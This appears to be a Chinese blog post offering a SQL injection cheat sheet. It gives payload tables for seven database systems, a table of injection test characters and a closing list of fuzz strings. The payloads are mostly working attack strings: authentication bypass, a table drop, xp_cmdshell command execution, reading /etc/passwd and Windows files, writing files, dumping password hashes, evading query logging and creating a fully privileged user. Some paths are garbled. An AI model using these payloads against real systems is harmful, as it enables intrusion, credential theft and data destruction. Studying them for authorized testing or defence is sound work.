学习SQL注入,如果想要利用SQL注入漏洞去获取想要的数据,其核心必然是SQL语句,所以学习SQL查询基础对于我们学习SQL注入漏洞来说是非常重要的,下面是针对各种类型数据库的查询语句的基础,希望可以帮到有需要的人。
关于注入字符的解释
字符 | 解释 |
---|
NULL或null | 这个可以帮助我们识别是不是PL/SQL网关 |
{‘ , ” , ; , <!} | 阻断sql查询语句,通常用在SQL、XPath和XML注入测试中 |
{空格, = , + , “} | 这些字符通常在构造注入语句中使用 |
{‘ , &, ! , ¦ , < , >} | 这些字符可以测试命令执行漏洞 |
"><script>alert(1)</script> | 测试跨站漏洞 |
{%0d , %0a} | 回车换行字符 |
{%7f , %ff} | 测试溢出的字节长度 |
{-1, other} | 测试整数向下溢出 |
A x 1024 + | 溢出漏洞 |
{%n , %x , %s} | 测试格式字符串漏洞 |
../ | 目录遍历漏洞 |
{% , _, *} | 通配符,可能造成拒绝服务或者信息泄漏问题 |
这些字符可以用不同方式表示,比如unicode、在字符被过滤的时候可以利用其他方式绕过。
常见的绕过认证的方式
Payload | 解释 |
---|
admin or 1=1 | 无需密码通过认证,必须有个真实的用户名 |
or = | 无需验证用户名密码通过认证 |
admin | 用户admin没有密码 |
union select 1, user, pass, 1 | 查询帐号密码,需要知道列名 |
; drop table users | 删除用户表 |
关于sql server的注入
Payload | 描述 |
---|
admin sp_password | 这个存储过程的作用可以防止在日志文件中存储明文密码,利用这个技巧在执行sql注入时将其放在命令行之后可以方式日志记录sql查询语句 |
select @@version | 查询数据库版本信息 |
select @@servername | 服务器名字 |
select @@microsoftversion | windows系统版本信息 |
select * from master..sysservers | 查看所有本地服务器 |
select * from sysusers | 查询数据库的用户名和密码 |
exec master..xp_cmdshell 'ipconfig /all' | 执行系统命令 |
BACKUP database master to disks=\{IP}{sharename}backupdb.dat | 备份整个数据库到文件 |
create table myfile (line varchar(8000))" bulk insert foo from c:inetpubwwwrootauth.asp” select * from myfile" | 读取系统文件 |
xp_servicecontrol (START or STOP) <service> | 对Windows服务进行打开关闭操作 |
str1 + str2 或 n + n | 在盲注中拼接字符串 |
关于Subase
Payload | 描述 |
---|
select @@version" | 查看数据库版本信息 |
select name from master..syslogins" | 查询系统用户信息 |
select name from master..sysdatabases | 查看系统数据库信息 |
convert(integer,(select+min(name)+from+syslogins+where+name>)) | 引发错误显示 |
convert(integer,(select+min(name)+from+syslogins+where+name>sybase)) | 报错注入测试方式 |
exec master..xp_cmdshell 'ipconfig /all' | 执行系统命令 |
waitfor delay 0:0:5 | 延时注入 |
create proxy_table myfile external file at “c:tempfile_to_read.txt” select * from myfile” | 读取系统文件 |
create table myfile (record varchar(2000)) external file at “c:tempmyfile.exe” insert into myfile values(0xAND_YOUR_BINARY_DATA)” | 往系统内写文件 |
str1 + str2 或 n + n | 在盲注中拼接字符串 |
关于Mysql
Payload | 描述 |
---|
select @@version; | 查询数据版本信息 |
select host,user,db from mysql.db; | 正常的查询语句 |
select host,user,password from mysql.user; | 查询用户帐号密码 |
create table myfile (input TEXT); load data infile /etc/passwd into table myfile; OR load data infile /home/{user}/.rhosts into table myfile; select * from myfile; | 读取系统文件 |
select host,user,password from user into outfile /tmp/passwd; | 向系统内写文件 |
select CONCAT(a,b); | 在联合注入中拼接查询结果 |
BENCHMARK(1000000000,MD5(gainingtime))、BENCHMARK(1000000000,MD5(CHAR(116))) | 盲注测试,通过判断时间的差异测试 |
IF EXISTS (SELECT * FROM users WHERE username = root) WAITFOR DELAY 0:0:3 | 延时注入 |
关于Oracle
Payload | 描述 |
---|
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; | 查询版本信息 |
SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; | 查询版本信息 |
SELECT version FROM v$instance; | 查询版本信息 |
SELECT user FROM dual | 正常语句 |
SELECT username FROM all_users ORDER BY username; | 列出用户 |
SELECT name FROM sys.user$; | 查看用户权限 |
SELECT name, password, astatus FROM sys.user$ | 查询用户密码hash 版本小于10g |
SELECT name,spare4 FROM sys.user$ | 查询用户密码hash 版本大于11g |
SELECT * FROM session_privs; | 列出当前权限 |
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; | 列出特定用户的所有权限 |
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; | 查找特定用户的权限 |
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; | 列出所有权限 |
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; | 列出DBA的账户和权限 |
SELECT global_name FROM global_name; | 查询当前数据库 |
SELECT name FROM v$database; | 查询当前数据库 |
SELECT instance_name FROM v$instance; | 查询当前数据库 |
SELECT SYS.DATABASE_NAME FROM DUAL; | 查询当前数据库 |
SELECT DISTINCT owner FROM all_tables; | 列表 |
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; | 查询列名 |
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'; | 查询列名 |
SELECT owner, table_name FROM all_tables; | 列出所有表 |
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; | 模糊查询含有PASS的列名 |
substr('abcd', 3, 1)、bitand(6,2)、chr(65)、ascii('A')、CAST(1 AS char)、UTL_INADDR.get_host_address('google.com')、UTL_HTTP.REQUEST('http://google.com')、UTL_INADDR.get_host_name('10.0.0.1') | 查询中可用函数 |
SELECT name FROM V$DATAFILE; | 列出DB文件 |
关于PostgreSQL
Payload | 描述 |
---|
select version(); | 查询版本信息 |
select current_database(); | 查看当前数据库 |
select current_user; | 查询当前用户 |
select session_user; | 查询用户session |
select current_setting(log_connections); | 查询当前的设置,包括:log_connections、log_statement、port、password_encryption、krb_server_keyfile、virtual_host、config_file、hba_file、data_directory |
select * from pg_shadow; | 查看数据库帐号密码 |
select * from pg_group; | 查看数据库帐号组信息 |
create table myfile (input TEXT); copy myfile from /etc/passwd; select * from myfile; | 读取系统文件 |
copy myfile to /tmp/test; | 写文件 |
关于DB2
Payload | 描述 |
---|
select versionnumber, version_timestamp from sysibm.sysversions; | 查询版本信息 |
select user from sysibm.sysdummy1; | 查询当前数据库用户 |
select session_user from sysibm.sysdummy1; | 查询当前数据库用户 |
select system_user from sysibm.sysdummy1; | 查询当前数据库用户 |
select system_user from sysibm.sysdummy1; | 查询系统用户 |
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G' | 查询DBA的帐号 |
select current server from sysibm.sysdummy1; | 查询当前数据库 |
SELECT schemaname FROM syscat.schemata; | 列出数据库 |
select name from sysibm.systables; | 列出表名 |
select name, tbname, coltype from sysibm.syscolumns; | 列出列名 |
select tbname from sysibm.syscolumns where name='username' | 查找列username所在的表名 |
select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; | 列出数据 |
SUBSTR('abc',2,1)、chr(65)、ascii('A')、cast('123' as integer) | 查询中可用的函数 |
关于Ingres
Payload | 描述 |
---|
select dbmsinfo(_version); | 查询数据库版本信息 |
select dbmsinfo(session_user); | 查询当前数据库用户,参数还可以是:system_user、database、db_admin、create_table、create_procedure、security_priv、select_syscat、db_privileges、current_priv_mask |
select top 10 blah from table; 或 select first 10 blah form table; | 限制查询结果 |
select table_name, table_owner from iitables; | 列出表 |
select relid, relowner, relloc from iirelation; | 列出表 |
select relid, relowner, relloc from iirelation where relowner != $ingres; | 列出表 |
select column_name, column_datatype, table_name, table_owner from iicolumns; | 列出列名 |
select name, password from iiuser; | 列出用户名密码 |
select table_name, permit_user, permit_type from iiaccess; | 枚举表的权限 |
length(abc);、substr(abc, 2, 1); 、cast(5 as byte)、bit_and() | 查询中可用的函数 |
create user pm with password = password; grant all on current installation to pm; | 创建用户 |
总结
这里包含了各种常见数据库的查询语句以及功能函数的简单介绍,如果大家看到有什么的不对的地方,请大家在后面留言,供大家参考。
nil
null
"'<foobar/>--}//\\
-foobabar:()-
[{}]
{{0}}
{'$ne':'foobabar'}
{"$ne":"foobabar"}
楼主残忍的关闭了评论